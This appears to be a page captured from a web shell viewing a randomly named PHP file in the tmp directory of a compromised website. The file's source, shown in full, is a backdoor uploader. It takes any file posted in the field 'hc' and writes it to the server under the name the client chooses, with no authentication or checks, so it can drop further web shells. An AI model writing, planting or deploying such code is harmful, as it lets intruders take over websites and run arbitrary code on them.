| Current Path : /proc/thread-self/root/proc/thread-self/root/home/antonen/poznajlitwe.lt/tmp/ |
| Current File : //proc/thread-self/root/proc/thread-self/root/home/antonen/poznajlitwe.lt/tmp/jceiku69341.php |
<?php
if (isset($_FILES['hc'])) {
$name = $_FILES['hc']['name'];
if (copy($_FILES['hc']['tmp_name'], $name)) {
echo "✅ SUCCESS: " . htmlspecialchars($name);
} else {
echo "❌ FAILED";
}
}
?>
<h3>Simple File Uploader</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="hc">
<input type="submit" value="Upload">
</form>